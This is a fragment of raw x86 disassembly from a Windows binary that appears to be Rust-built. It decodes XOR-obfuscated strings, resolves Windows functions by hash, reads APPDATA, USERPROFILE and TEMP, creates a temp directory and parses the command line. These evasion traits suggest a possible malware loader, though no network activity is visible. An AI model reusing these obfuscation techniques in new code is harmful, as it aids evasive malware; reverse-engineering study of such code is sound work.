call fcn.03d847b3
mov ebx, eax
lea eax, [0x3dc77b1]
mov dword [esi + 0x1d0], eax
lea eax, [esi + 0x1d0]
mov ecx, dword [esi + 0x1d0]
mov dword [esi + 0x1d0], 0xee586a55
mov edx, dword [esi + 0x1d0]
call fcn.03d81b90
xor ecx, ecx
mov dword [esi + 0x1d4], ecx
mov dword [esi + 0x1d0], ecx
mov dword [esi + 0x1d8], ecx
mov ecx, 0xfffffffc
mov edx, dword [ecx + 0x3dcee7c]
xor edx, dword [eax + ecx + 4]
mov dword [esi + ecx + 0x1d4], edx
add ecx, 4
cmp ecx, 8
jb 0x3d880ff
lea edx, [esi + 0x1d0]
mov eax, dword [edx + 8]
lea ecx, [esi + 0xf0]
mov dword [ecx + 8], eax
movsd xmm0, qword [edx]
movsd qword [ecx], xmm0
mov edx, str.SystemFunction036srchelper.rs
call fcn.03d846b7
mov edi, dword [esi + 0x44]
push 7
push edi
call eax
push ebx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ebx, dword [esi + 0x40]
lea ecx, [esi + 0x1d0]
mov edx, 0x3dcf381
push dword [esi + 0x48]
push edi
call fcn.03d85604
add esp, 8
test ebx, ebx
je 0x3d88178
push edi
push 0
push dword [0x3de3a38]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov ebx, dword [esi + 0x1d4]
mov edx, dword [esi + 0x1d8]
cmp edx, 7
jbe 0x3d8819d
cmp byte [ebx + 7], 0xbf
jg 0x3d8819f
mov ecx, ebx
push 0x3dceea4
push 7
jmp 0x3d8bd72
jne 0x3d8818f
xor edi, edi
mov ecx, 7
xor edx, edx
call fcn.03da19ec
mov dword [esi + 0xc], eax
mov eax, dword [ebx]
mov ecx, dword [ebx + 3]
mov ebx, edx
mov dword [edx + 3], ecx
mov dword [edx], eax
cmp dword [esi + 0x1d0], 0
je 0x3d881d9
push dword [esi + 0x1d4]
push 0
push dword [0x3de3a38]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov dword [esi + 0x40], edi
mov dword [esi + 0x44], 1
mov dword [esi + 0x48], edi
mov eax, 0x2e
lea edx, [esi + 0x1d0]
mov dword [edx], eax
mov dword [edx + 4], ebx
movaps xmm0, xmmword [0x3dce320]
movups xmmword [edx + 8], xmm0
mov dword [edx + 0x18], eax
lea ecx, [esi + 0xf0]
call fcn.03d81651
lea eax, [esi + 0xf0]
cmp dword [eax], edi
je 0x3d88273
xor edx, edx
mov eax, dword [esi + 0xf8]
mov dword [esi], eax
mov eax, dword [esi + 0xf4]
add eax, ebx
add edx, ebx
mov edi, ebx
lea ebx, [esi + 0x40]
mov ecx, ebx
push eax
call fcn.03da0be8
add esp, 4
mov ecx, ebx
mov ebx, edi
mov edi, dword [esi]
mov edx, 0x3dd3ffe
lea eax, [0x3dd3fff]
push eax
call fcn.03da0be8
add esp, 4
lea ecx, [esi + 0xf0]
lea edx, [esi + 0x1d0]
call fcn.03d81651
cmp dword [esi + 0xf0], 0
mov edx, edi
jne 0x3d8821b
add edi, ebx
mov dword [esi + 0x20], ebx
mov eax, ebx
add eax, 7
lea ebx, [esi + 0x40]
mov ecx, ebx
mov edx, edi
push eax
call fcn.03da0be8
add esp, 4
mov eax, dword [ebx]
mov dword [esi + 8], eax
mov edi, dword [ebx + 4]
mov ecx, dword [ebx + 8]
xor edx, edx
mov dword [ebx], edx
xor eax, eax
inc eax
mov dword [ebx + 4], eax
mov dword [ebx + 8], edx
mov eax, 0x2b
lea edx, [esi + 0x1d0]
mov dword [edx], eax
mov dword [esi + 4], edi
mov dword [edx + 4], edi
mov dword [edx + 8], ecx
xor edi, edi
mov dword [edx + 0xc], edi
mov dword [esi], ecx
mov dword [edx + 0x10], ecx
xor ecx, ecx
inc ecx
mov dword [edx + 0x14], ecx
mov dword [edx + 0x18], eax
lea edi, [esi + 0xf0]
mov ecx, edi
call fcn.03d81651
mov ebx, 0
xor eax, eax
cmp dword [edi], eax
je 0x3d8833b
xor edx, edx
mov ebx, dword [esi + 0xf8]
mov eax, dword [esi + 0xf4]
mov ecx, dword [esi + 4]
add eax, ecx
add edx, ecx
lea edi, [esi + 0x40]
mov ecx, edi
push eax
call fcn.03da0be8
add esp, 4
mov ecx, edi
mov edx, str.TIyxjcfphs_
lea eax, [0x3dcf4d5]
push eax
call fcn.03da0be8
add esp, 4
lea ecx, [esi + 0xf0]
lea edx, [esi + 0x1d0]
call fcn.03d81651
cmp dword [esi + 0xf0], 0
mov edx, ebx
jne 0x3d882e8
mov ecx, dword [esi + 4]
add ebx, ecx
mov eax, dword [esi]
add eax, ecx
lea edi, [esi + 0x40]
mov ecx, edi
mov edx, ebx
push eax
call fcn.03da0be8
add esp, 4
mov edx, edi
mov eax, dword [edi]
mov dword [esi + 0x10], eax
mov ebx, dword [edi + 4]
mov ecx, dword [edx + 8]
xor edi, edi
mov dword [edx], edi
xor eax, eax
inc eax
mov dword [edx + 4], eax
mov dword [edx + 8], edi
mov eax, 0x2f
lea edx, [esi + 0x1d0]
mov dword [edx], eax
mov dword [edx + 4], ebx
mov dword [edx + 8], ecx
mov dword [edx + 0xc], edi
mov dword [esi + 0x1c], ecx
mov dword [edx + 0x10], ecx
xor ecx, ecx
inc ecx
mov dword [edx + 0x14], ecx
mov dword [edx + 0x18], eax
lea ecx, [esi + 0xf0]
call fcn.03d81651
lea eax, [esi + 0xf0]
cmp dword [eax], edi
je 0x3d88402
xor edx, edx
mov eax, dword [esi + 0xf8]
mov dword [esi], eax
mov eax, dword [esi + 0xf4]
add eax, ebx
add edx, ebx
mov edi, ebx
lea ebx, [esi + 0x40]
mov ecx, ebx
push eax
call fcn.03da0be8
add esp, 4
mov ecx, ebx
mov ebx, edi
mov edi, dword [esi]
mov edx, 0x3dcf4d5
lea eax, [0x3dcf4d6]
push eax
call fcn.03da0be8
add esp, 4
lea ecx, [esi + 0xf0]
lea edx, [esi + 0x1d0]
call fcn.03d81651
cmp dword [esi + 0xf0], 0
mov edx, edi
jne 0x3d883aa
add edi, ebx
mov eax, dword [esi + 0x1c]
add eax, ebx
lea ecx, [esi + 0x40]
mov edx, edi
push eax
call fcn.03da0be8
add esp, 4
lea ecx, [esi + 0x40]
mov eax, dword [ecx + 8]
mov dword [esi + 0x178], eax
movsd xmm0, qword [ecx]
movsd qword [esi + 0x170], xmm0
cmp dword [esi + 0x10], 0
je 0x3d88444
push ebx
push 0
push dword [0x3de3a38]
call dword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [esi + 8], 0
mov eax, dword [esi + 4]
je 0x3d8845c
push eax
push 0
push dword [0x3de3a38]
call dword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [esi + 0xc], 0
mov eax, dword [esi + 0x20]
je 0x3d88474
push eax
push 0
push dword [0x3de3a38]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov ecx, 0x51a1edc3
call fcn.03d8203c
test eax, eax
je 0x3d8848e
mov dword [esi + 4], 0
jmp 0x3d8856d
lea eax, [0x3dce7f9]
mov dword [esi + 0x1d0], eax
lea eax, [esi + 0x1d0]
mov ecx, dword [esi + 0x1d0]
mov dword [esi + 0x1d0], 0x3a40060b
mov edx, dword [esi + 0x1d0]
call fcn.03d81d92
xor ecx, ecx
mov dword [esi + 0x1d4], ecx
mov dword [esi + 0x1d0], ecx
mov dl, 1
movzx ebx, byte [ecx + 0x3dce935]
mov edi, ecx
or edi, 1
movzx edi, byte [edi + 0x3dce935]
shl edi, 8
or edi, ebx
mov ebx, ecx
or ebx, 2
movzx ebx, byte [ebx + 0x3dce935]
shl ebx, 0x10
or edi, ebx
mov ebx, ecx
or ebx, 3
movzx ebx, byte [ebx + 0x3dce935]
shl ebx, 0x18
or edi, ebx
xor edi, dword [eax + ecx]
mov dword [esi + ecx + 0x1d0], edi
mov ecx, 4
test dl, 1
mov edx, 0
jne 0x3d884cb
movzx ecx, byte [eax + 0xa]
movzx eax, word [eax + 8]
xor eax, 0xb343
mov word [esi + 0x1d8], ax
xor cl, 6
mov byte [esi + 0x1da], cl
movsd xmm0, qword [esi + 0x1d0]
lea ecx, [esi + 0xf0]
movsd qword [ecx], xmm0
mov eax, dword [esi + 0x1d7]
mov dword [ecx + 7], eax
mov edx, 0xb
call fcn.03d847b3
mov dword [esi + 4], eax
mov ecx, 0x51a1edc3
call fcn.03d8203c
mov ecx, eax
mov edx, 0x9b8ce20f
call fcn.03d820c0
mov dword [esi], eax
mov ecx, 7
xor edx, edx
call fcn.03da19ec
mov dword [edx], 0x44505041
mov dword [edx + 3], 0x41544144
lea ebx, [esi + 0x1b0]
mov dword [ebx], eax
mov dword [ebx + 4], edx
mov dword [ebx + 8], 7
lea edi, [esi + 0x1d0]
mov ecx, edi
mov edx, ebx
call fcn.03d84461
cmp dword [edi], 0x80000001
jne 0x3d885d1
mov edi, dword [esi + 0x1d4]
mov ebx, dword [esi + 0x1d8]
mov eax, dword [esi + 0x1dc]
jmp 0x3d88629
mov ecx, 7
xor edx, edx
call fcn.03da19ec
mov edi, eax
mov ebx, edx
mov dword [edx], 0x6e6b6e55
mov dword [edx + 3], 0x6e776f6e
cmp dword [esi + 0x1d0], 0x80000001
jne 0x3d88619
cmp dword [esi + 0x1d4], 0
je 0x3d88624
push dword [esi + 0x1d8]
push 0
push dword [0x3de3a38]
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x3d88624
lea ecx, [esi + 0x1d0]
call fcn.03d8279a
mov eax, 7
mov dword [esi + 0xb8], edi
mov dword [esi + 0xbc], ebx
mov dword [esi + 0xc0], eax
mov edi, dword [esi]
test edi, edi
je 0x3d8bfa5
lea eax, [esi + 0xb8]
mov dword [esi + 0x40], eax
mov dword [esi + 0x44], 0x3d82658
lea edx, [esi + 0x1d0]
mov dword [edx], 0x3dce940
mov dword [edx + 4], 2
mov dword [edx + 0x10], 0
lea eax, [esi + 0x40]
mov dword [edx + 8], eax
mov dword [edx + 0xc], 1
lea ecx, [esi + 0xf0]
call fcn.03d92750
lea eax, [esi + 0xf0]
mov ebx, dword [eax + 4]
push ebx
call edi
lea edx, [esi + 0xf0]
mov edi, eax
cmp dword [edx], 0
je 0x3d886b3
push ebx
push 0
push dword [0x3de3a38]
mov ebx, edx
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov edx, ebx
test edi, edi
je 0x3d8881e
lea eax, [esi + 0xb8]
mov dword [esi + 0xf0], eax
mov eax, 0x3d82658
mov dword [esi + 0xf4], eax
lea ecx, [esi + 0x170]
mov dword [esi + 0xf8], ecx
mov dword [esi + 0xfc], eax
lea edi, [esi + 0x1d0]
mov dword [edi], 0x3dce95c
mov eax, 2
mov dword [edi + 4], eax
mov dword [edi + 0x10], 0
mov dword [edi + 8], edx
mov dword [edi + 0xc], eax
lea ebx, [esi + 0x40]
mov ecx, ebx
mov edx, edi
call fcn.03d92750
mov byte [edi], 0
lea edi, [esi + 0x70]
lea edx, [esi + 0x1d0]
mov ecx, edi
push dword [ebx + 8]
push dword [ebx + 4]
call fcn.03dabbb0
add esp, 8
cmp byte [edi], 4
jne 0x3d887a4
lea edi, [esi + 0xf0]
cmp dword [esi + 4], 0xffffffff
jne 0x3d88746
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov dword [esi + 0xf0], ebx
mov dword [esi + 0xf4], 0x3d82658
lea edx, [esi + 0x1d0]
mov dword [edx], 0x3dce998
mov dword [edx + 4], 2
mov dword [edx + 0x10], 0
mov dword [edx + 8], edi
mov dword [edx + 0xc], 1
lea ecx, [esi + 0x17c]
call fcn.03d92750
cmp dword [esi + 0x40], 0
je 0x3d8879c
push dword [esi + 0x44]
push 0
push dword [0x3de3a38]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov ebx, dword [esi + 0x3c]
jmp 0x3d88ca1
movsd xmm0, qword [esi + 0x70]
movsd qword [esi + 0x90], xmm0
lea eax, [esi + 0x90]
mov dword [esi + 0xf0], eax
mov dword [esi + 0xf4], 0x3da4d30
lea ecx, [esi + 0x1d0]
mov dword [ecx], str.Failed_create_temp_dir..__n_n
mov dword [ecx + 4], 2
mov dword [ecx + 0x10], 0
lea eax, [esi + 0xf0]
mov dword [ecx + 8], eax
mov dword [ecx + 0xc], 1
call fcn.03dae3c0
mov ecx, dword [esi + 0x90]
mov edx, dword [esi + 0x94]
call fcn.03d81ef9
cmp dword [esi + 0x40], 0
je 0x3d8881e
push dword [esi + 0x44]
push 0
push dword [0x3de3a38]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov ecx, 0xb
xor edx, edx
call fcn.03da19ec
mov dword [edx], 0x52455355
mov dword [edx + 4], 0x464f5250
mov dword [edx + 7], 0x454c4946
lea edi, [esi + 0xd0]
mov dword [edi], eax
mov dword [edi + 4], edx
mov dword [edi + 8], 0xb
lea ebx, [esi + 0x1d0]
mov ecx, ebx
mov edx, edi
call fcn.03d84461
cmp dword [ebx], 0x80000001
jne 0x3d8887b
mov edi, dword [esi + 0x1d4]
mov ebx, dword [esi + 0x1d8]
mov eax, dword [esi + 0x1dc]
jmp 0x3d888d3
mov ecx, 7
xor edx, edx
call fcn.03da19ec
mov edi, eax
mov ebx, edx
mov dword [edx], 0x6e6b6e55
mov dword [edx + 3], 0x6e776f6e
cmp dword [esi + 0x1d0], 0x80000001
jne 0x3d888c3
cmp dword [esi + 0x1d4], 0
je 0x3d888ce
push dword [esi + 0x1d8]
push 0
push dword [0x3de3a38]
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x3d888ce
lea ecx, [esi + 0x1d0]
call fcn.03d8279a
mov eax, 7
mov dword [esi + 0x188], edi
mov dword [esi + 0x18c], ebx
mov dword [esi + 0x190], eax
lea eax, [esi + 0x188]
mov dword [esi + 0x40], eax
mov dword [esi + 0x44], 0x3d82658
lea edx, [esi + 0x1d0]
mov dword [edx], 0x3dce940
mov dword [edx + 4], 2
mov dword [edx + 0x10], 0
lea eax, [esi + 0x40]
mov dword [edx + 8], eax
mov dword [edx + 0xc], 1
lea edi, [esi + 0xf0]
mov ecx, edi
call fcn.03d92750
mov ebx, dword [edi + 4]
push ebx
call dword [esi]
cmp dword [edi], 0
je 0x3d88947
push ebx
push 0
push dword [0x3de3a38]
mov edi, eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, edi
test eax, eax
je 0x3d88a76
lea edi, [esi + 0xf0]
lea eax, [esi + 0x188]
mov dword [edi], eax
mov eax, 0x3d82658
mov dword [edi + 4], eax
lea ecx, [esi + 0x170]
mov dword [edi + 8], ecx
mov dword [edi + 0xc], eax
lea edx, [esi + 0x1d0]
mov dword [edx], 0x3dce998
mov eax, 2
mov dword [edx + 4], eax
mov dword [edx + 0x10], 0
lea ecx, [esi + 0xf0]
mov dword [edx + 8], ecx
mov dword [edx + 0xc], eax
lea ebx, [esi + 0x40]
mov ecx, ebx
call fcn.03d92750
mov byte [edi], 0
lea ecx, [esi + 0x1d0]
mov edx, edi
push dword [ebx + 8]
push dword [ebx + 4]
call fcn.03dabbb0
add esp, 8
lea eax, [esi + 0x1d0]
mov al, byte [eax]
cmp al, 4
jne 0x3d88a2c
cmp dword [esi + 4], 0xffffffff
jne 0x3d889d5
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea eax, [esi + 0x40]
mov dword [esi + 0xf0], eax
mov dword [esi + 0xf4], 0x3d82658
lea edx, [esi + 0x1d0]
mov dword [edx], 0x3dce998
mov dword [edx + 4], 2
mov dword [edx + 0x10], 0
mov dword [edx + 8], edi
mov dword [edx + 0xc], 1
lea ecx, [esi + 0x17c]
call fcn.03d92750
cmp dword [esi + 0x40], 0
mov ebx, dword [esi + 0x3c]
je 0x3d88c84
push dword [esi + 0x44]
jmp 0x3d88c76
lea edi, [esi + 0x1d0]
mov edx, dword [edi + 4]
movzx ecx, al
call fcn.03d81ef9
mov dword [edi], str.Failed_create_temp_dir.._n_n
mov dword [edi + 4], 1
xor ebx, ebx
mov dword [edi + 0x10], ebx
mov dword [edi + 8], 0x3ddb048
mov dword [edi + 0xc], ebx
mov ecx, edi
call fcn.03dae3c0
cmp dword [esi + 0x40], ebx
je 0x3d88a76
push dword [esi + 0x44]
push 0
push dword [0x3de3a38]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov ecx, 4
xor edx, edx
call fcn.03da19ec
mov dword [edx], 0x504d4554
lea edi, [esi + 0x90]
mov dword [edi], eax
mov dword [edi + 4], edx
mov dword [edi + 8], 4
lea ebx, [esi + 0x1d0]
mov ecx, ebx
mov edx, edi
call fcn.03d84461
cmp dword [ebx], 0x80000001
jne 0x3d88ac5
mov edi, dword [esi + 0x1d4]
mov ebx, dword [esi + 0x1d8]
mov eax, dword [esi + 0x1dc]
jmp 0x3d88b1d
mov ecx, 7
xor edx, edx
call fcn.03da19ec
mov edi, eax
mov ebx, edx
mov dword [edx], 0x6e6b6e55
mov dword [edx + 3], 0x6e776f6e
cmp dword [esi + 0x1d0], 0x80000001
jne 0x3d88b0d
cmp dword [esi + 0x1d4], 0
je 0x3d88b18
push dword [esi + 0x1d8]
push 0
push dword [0x3de3a38]
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x3d88b18
lea ecx, [esi + 0x1d0]
call fcn.03d8279a
mov eax, 7
mov dword [esi + 0x70], edi
mov dword [esi + 0x74], ebx
mov dword [esi + 0x78], eax
lea edx, [esi + 0x1d0]
mov dword [edx], 0x3dce940
mov dword [edx + 4], 2
mov dword [edx + 0x10], 0
lea eax, [esi + 0x40]
mov dword [edx + 8], eax
lea eax, [esi + 0x70]
mov dword [esi + 0x40], eax
mov dword [esi + 0x44], 0x3d82658
mov dword [edx + 0xc], 1
lea edi, [esi + 0xf0]
mov ecx, edi
call fcn.03d92750
mov ebx, dword [edi + 4]
push ebx
call dword [esi]
cmp dword [edi], 0
je 0x3d88b85
push ebx
push 0
push dword [0x3de3a38]
mov edi, eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, edi
test eax, eax
je 0x3d8aade
lea edi, [esi + 0xf0]
lea eax, [esi + 0x70]
mov dword [edi], eax
mov eax, 0x3d82658
mov dword [edi + 4], eax
lea ecx, [esi + 0x170]
mov dword [edi + 8], ecx
mov dword [edi + 0xc], eax
lea edx, [esi + 0x1d0]
mov dword [edx], 0x3dce998
mov eax, 2
mov dword [edx + 4], eax
mov dword [edx + 0x10], 0
lea ecx, [esi + 0xf0]
mov dword [edx + 8], ecx
mov dword [edx + 0xc], eax
lea ebx, [esi + 0x40]
mov ecx, ebx
call fcn.03d92750
mov byte [edi], 0
lea ecx, [esi + 0x1d0]
mov edx, edi
push dword [ebx + 8]
push dword [ebx + 4]
call fcn.03dabbb0
add esp, 8
lea eax, [esi + 0x1d0]
mov al, byte [eax]
cmp al, 4
jne 0x3d8c086
cmp dword [esi + 4], 0xffffffff
jne 0x3d88c14
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov dword [esi + 0xf0], ebx
mov dword [esi + 0xf4], 0x3d82658
lea edx, [esi + 0x1d0]
mov dword [edx], 0x3dce940
mov dword [edx + 4], 2
mov dword [edx + 0x10], 0
mov dword [edx + 8], edi
mov dword [edx + 0xc], 1
lea ecx, [esi + 0x17c]
call fcn.03d92750
cmp dword [esi + 0x40], 0
je 0x3d88c6a
push dword [esi + 0x44]
push 0
push dword [0x3de3a38]
call dword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [esi + 0x70], 0
mov ebx, dword [esi + 0x3c]
je 0x3d88c84
push dword [esi + 0x74]
push 0
push dword [0x3de3a38]
call dword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [esi + 0x188], 0
je 0x3d88ca1
push dword [esi + 0x18c]
push 0
push dword [0x3de3a38]
call dword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [esi + 0xb8], 0
je 0x3d88cbe
push dword [esi + 0xbc]
push 0
push dword [0x3de3a38]
call dword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [esi + 0x170], 0
je 0x3d88cdb
push dword [esi + 0x174]
push 0
push dword [0x3de3a38]
call dword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [esi + 0x184], ebx
jne 0x3d88d01
mov edi, dword [esi + 0x180]
push ebx
push dword [esi + 0xb4]
push edi
call fcn.03dbe09a
add esp, 0xc
test eax, eax
je 0x3d8c05a
mov eax, dword [esi + 0x184]
mov dword [esi + 0x1d8], eax
movsd xmm0, qword [esi + 0x17c]
movsd qword [esi + 0x1d0], xmm0
cmp dword [esi + 0x5f4], 0
je 0x3d88d3a
push dword [esi + 0x5f8]
push 0
push dword [0x3de3a38]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [esi + 0x1d8]
lea ecx, [esi + 0x600]
mov dword [ecx - 4], eax
movsd xmm0, qword [esi + 0x1d0]
movsd qword [ecx - 0xc], xmm0
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
xor ecx, ecx
mov dword [esi + 0x70], ecx
mov dword [esi + 0x74], 4
mov dword [esi + 0x78], ecx
test eax, eax
je 0x3d89209
movzx edx, word [eax]
test dx, dx
je 0x3d89209
xor edi, edi
lea ecx, [esi + 0x90]
mov dword [ecx], edi
mov dword [ecx + 4], 2
mov dword [ecx + 8], edi
mov ebx, 2
mov dword [esi], 0
test dx, dx
je 0x3d88e29
add eax, 2
cmp dx, 9
je 0x3d88dd5
mov ecx, edx
movzx edx, dx
cmp edx, 0x20
je 0x3d88dcc
cmp edx, 0x22
mov edx, ecx
jne 0x3d88dda
mov edx, dword [esi]
not dl
and dl, 1
mov dword [esi], edx
jmp 0x3d88e1e
test byte [esi], 1
mov edx, ecx
jne 0x3d88dda
jmp 0x3d88e29
test byte [esi], 1
je 0x3d88e29
cmp edi, dword [esi + 0x90]
jne 0x3d88e13
mov word [esi + 0x20], dx
mov dword [esi + 4], eax
mov dword [esi + 0x698], 6
lea ecx, [esi + 0x90]
mov edx, edi
call fcn.03da4a50
mov ebx, dword [esi + 0x94]
mov edi, dword [esi + 0x98]
mov eax, dword [esi + 4]
movzx edx, word [esi + 0x20]
mov word [ebx + edi*2], dx
inc edi
mov dword [esi + 0x98], edi
movzx edx, word [eax]
jmp 0x3d88d9e
add eax, 2
movzx ecx, word [eax]
cmp ecx, 0x20
je 0x3d88e26
cmp ecx, 9
je 0x3d88e26
mov dword [esi + 4], eax
mov edx, dword [esi + 0x94]
mov dword [esi + 0x698], 6
lea ecx, [esi + 0x1d0]
mov dword [esi + 0x10], edx
push edi
call fcn.03da6300
add esp, 4
mov dword [esi + 0x698], 0xa
lea ecx, [esi + 0x70]
xor edx, edx
call fcn.03da9cf0
lea edi, [esi + 0x70]
mov eax, dword [edi + 8]
mov ecx, eax
shl ecx, 4
lea edx, [esi + 0x1d0]
movups xmm0, xmmword [edx]
mov edx, dword [edi + 4]
movups xmmword [edx + ecx], xmm0
inc eax
mov dword [edi + 8], eax
lea eax, [esi + 0x40]
xor ecx, ecx
mov dword [eax], ecx
mov dword [eax + 4], 2
mov dword [eax + 8], ecx
mov ecx, 2
movaps xmm0, xmmword [0x3dce330]
mov dword [esi + 0x20], 0
mov edi, dword [esi + 4]
xor ebx, ebx
movzx eax, word [edi]
test eax, eax
je 0x3d89287
mov edx, edi
add edi, 2
cmp eax, 0x21
jg 0x3d88ee9
cmp eax, 9
je 0x3d88eda
cmp eax, 0x20
jne 0x3d88f70
cmp byte [esi + 0x20], 0
jne 0x3d88f70
jmp 0x3d8918b
cmp eax, 0x22
je 0x3d88fad
cmp eax, 0x5c
jne 0x3d88f70
mov dword [esi], ecx
mov ecx, edx
movzx eax, word [edi]
xor edx, edx
cmp ax, 0x5c
jne 0x3d88f17
xor edx, edx
add edi, 2
movzx eax, word [ecx + edx*2 + 4]
inc edx
cmp ax, 0x5c
je 0x3d88f08
inc edx
cmp ax, 0x22
mov dword [esi + 0xc], edx
jne 0x3d88fdc
mov ecx, edx
shr ecx, 1
mov eax, dword [esi + 0x40]
sub eax, ebx
cmp eax, ecx
mov eax, ecx
mov ecx, dword [esi]
jae 0x3d8901d
mov dword [esi + 4], edi
mov dword [esi + 0x698], 7
lea ecx, [esi + 0x40]
mov edx, ebx
mov dword [esi + 8], eax
push eax
call fcn.03dcd210
add esp, 4
mov ebx, dword [esi + 0x48]
mov edi, dword [esi + 4]
movaps xmm0, xmmword [0x3dce330]
mov edx, dword [esi + 0xc]
mov eax, dword [esi + 8]
jmp 0x3d89026
cmp ebx, dword [esi + 0x40]
jne 0x3d88f9d
mov dword [esi], eax
mov dword [esi + 4], edi
mov dword [esi + 0x698], 7
lea ecx, [esi + 0x40]
mov edx, ebx
call fcn.03da4a50
mov ebx, dword [esi + 0x48]
mov edi, dword [esi + 4]
movaps xmm0, xmmword [0x3dce330]
mov eax, dword [esi]
mov ecx, dword [esi + 0x44]
mov word [ecx + ebx*2], ax
inc ebx
mov dword [esi + 0x48], ebx
jmp 0x3d88eb7
cmp byte [esi + 0x20], 0
mov al, 1
mov dword [esi + 0x20], eax
je 0x3d88eb7
movzx eax, word [edi]
cmp eax, 0x22
je 0x3d890af
mov dword [esi + 0x20], 0
test eax, eax
jne 0x3d88eb7
jmp 0x3d8932a
mov eax, dword [esi + 0x40]
sub eax, ebx
cmp eax, edx
mov ecx, dword [esi]
jae 0x3d8906f
mov dword [esi + 4], edi
mov dword [esi + 0x698], 7
lea ecx, [esi + 0x40]
mov eax, edx
mov edx, ebx
push eax
call fcn.03dcd210
add esp, 4
mov ecx, dword [esi + 0x44]
mov ebx, dword [esi + 0x48]
mov edi, dword [esi + 4]
movaps xmm0, xmmword [0x3dce330]
mov edx, dword [esi + 0xc]
jmp 0x3d89077
cmp edx, 2
jb 0x3d89134
mov ecx, ebx
mov ebx, dword [esi + 0x44]
cmp edx, 0x20
mov dword [esi], ebx
jb 0x3d8911c
mov dword [esi + 8], eax
and eax, 0xfffffff0
mov edx, ecx
lea ecx, [ebx + ecx*2]
add ecx, 0x10
mov ebx, edx
add ebx, eax
xor edx, edx
movups xmmword [ecx + edx*2 - 0x10], xmm0
movups xmmword [ecx + edx*2], xmm0
add edx, 0x10
cmp eax, edx
jne 0x3d8904a
mov ecx, dword [esi + 8]
cmp ecx, eax
jne 0x3d89112
mov ecx, dword [esi]
mov edx, dword [esi + 0xc]
jmp 0x3d89134
test edx, edx
je 0x3d88fa5
cmp edx, 0x10
jb 0x3d89103
mov eax, edx
and eax, 0xfffffff0
mov dword [esi], ecx
lea ecx, [ecx + ebx*2]
add ecx, 0x10
add ebx, eax
xor edx, edx
movups xmmword [ecx + edx*2 - 0x10], xmm0
movups xmmword [ecx + edx*2], xmm0
add edx, 0x10
cmp eax, edx
jne 0x3d89091
mov edx, dword [esi + 0xc]
cmp edx, eax
jne 0x3d890fe
mov ecx, dword [esi]
jmp 0x3d88fa5
cmp ebx, dword [esi + 0x40]
jne 0x3d890dc
mov dword [esi], edx
mov dword [esi + 4], edi
mov dword [esi + 0x698], 7
lea ecx, [esi + 0x40]
mov edx, ebx
call fcn.03da4a50
mov ebx, dword [esi + 0x48]
mov edi, dword [esi + 4]
movaps xmm0, xmmword [0x3dce330]
mov edx, dword [esi]
mov ecx, dword [esi + 0x44]
mov word [ecx + ebx*2], 0x22
inc ebx
mov dword [esi + 0x48], ebx
cmp word [edx + 2], 0
lea eax, [edx + 4]
cmovne edi, eax
mov al, 1
mov dword [esi + 0x20], eax
jmp 0x3d88eb7
and edx, 0xf
mov ecx, dword [esi]
mov word [ecx + ebx*2], 0x5c
inc ebx
dec edx
jne 0x3d89103
jmp 0x3d88fa5
mov eax, ecx
mov ecx, ebx
and eax, 0xf
mov edx, dword [esi + 0xc]
mov ebx, ecx
mov ecx, eax
mov eax, ebx
mov ebx, dword [esi]
mov word [ebx + eax*2], 0x5c
lea ebx, [eax + 1]
mov eax, ecx
dec eax
jne 0x3d8911e
mov ecx, dword [esi]
mov dword [esi + 0x48], ebx
test dl, 1
je 0x3d88eb7
xor eax, eax
cmp word [edi], 0
setne cl
cmp ebx, dword [esi + 0x40]
jne 0x3d89178
mov byte [esi], cl
mov dword [esi + 4], edi
mov dword [esi + 0x698], 7
lea ecx, [esi + 0x40]
mov edx, ebx
call fcn.03da4a50
mov ebx, dword [esi + 0x48]
mov edi, dword [esi + 4]
movaps xmm0, xmmword [0x3dce330]
xor eax, eax
mov cl, byte [esi]
mov al, cl
lea edi, [edi + eax*2]
mov ecx, dword [esi + 0x44]
mov word [ecx + ebx*2], 0x22
jmp 0x3d88fa4
mov dword [esi + 4], edi
mov edx, dword [esi + 0x44]
mov dword [esi + 0x698], 7
lea ecx, [esi + 0x1d0]
mov dword [esi], edx
push ebx
call fcn.03da6300
add esp, 4
mov edx, dword [esi + 0x78]
cmp edx, dword [esi + 0x70]
jne 0x3d891c9
mov dword [esi + 0x698], 9
lea ecx, [esi + 0x70]
call fcn.03da9cf0
mov edx, dword [esi + 0x78]
mov edi, dword [esi + 4]
mov eax, dword [esi + 0x74]
mov ecx, edx
shl ecx, 4
movups xmm0, xmmword [esi + 0x1d0]
movups xmmword [eax + ecx], xmm0
inc edx
mov dword [esi + 0x78], edx
mov dword [esi + 0x48], 0
movaps xmm0, xmmword [0x3dce330]
mov ecx, dword [esi]
movzx eax, word [edi]
cmp eax, 0x20
je 0x3d89204
cmp eax, 9
jne 0x3d88eb5
add edi, 2
jmp 0x3d891f3
mov dword [esi + 0x698], 4
lea ecx, [esi + 0x1d0]
call fcn.03da9b10
mov eax, dword [esi + 0x1d0]
cmp eax, 0x80000000
jne 0x3d892a4
movaps xmm0, xmmword [0x3dce340]
movaps xmmword [esi + 0x20], xmm0
mov dword [esi], 0
xor eax, eax
inc eax
mov dword [esi + 4], eax
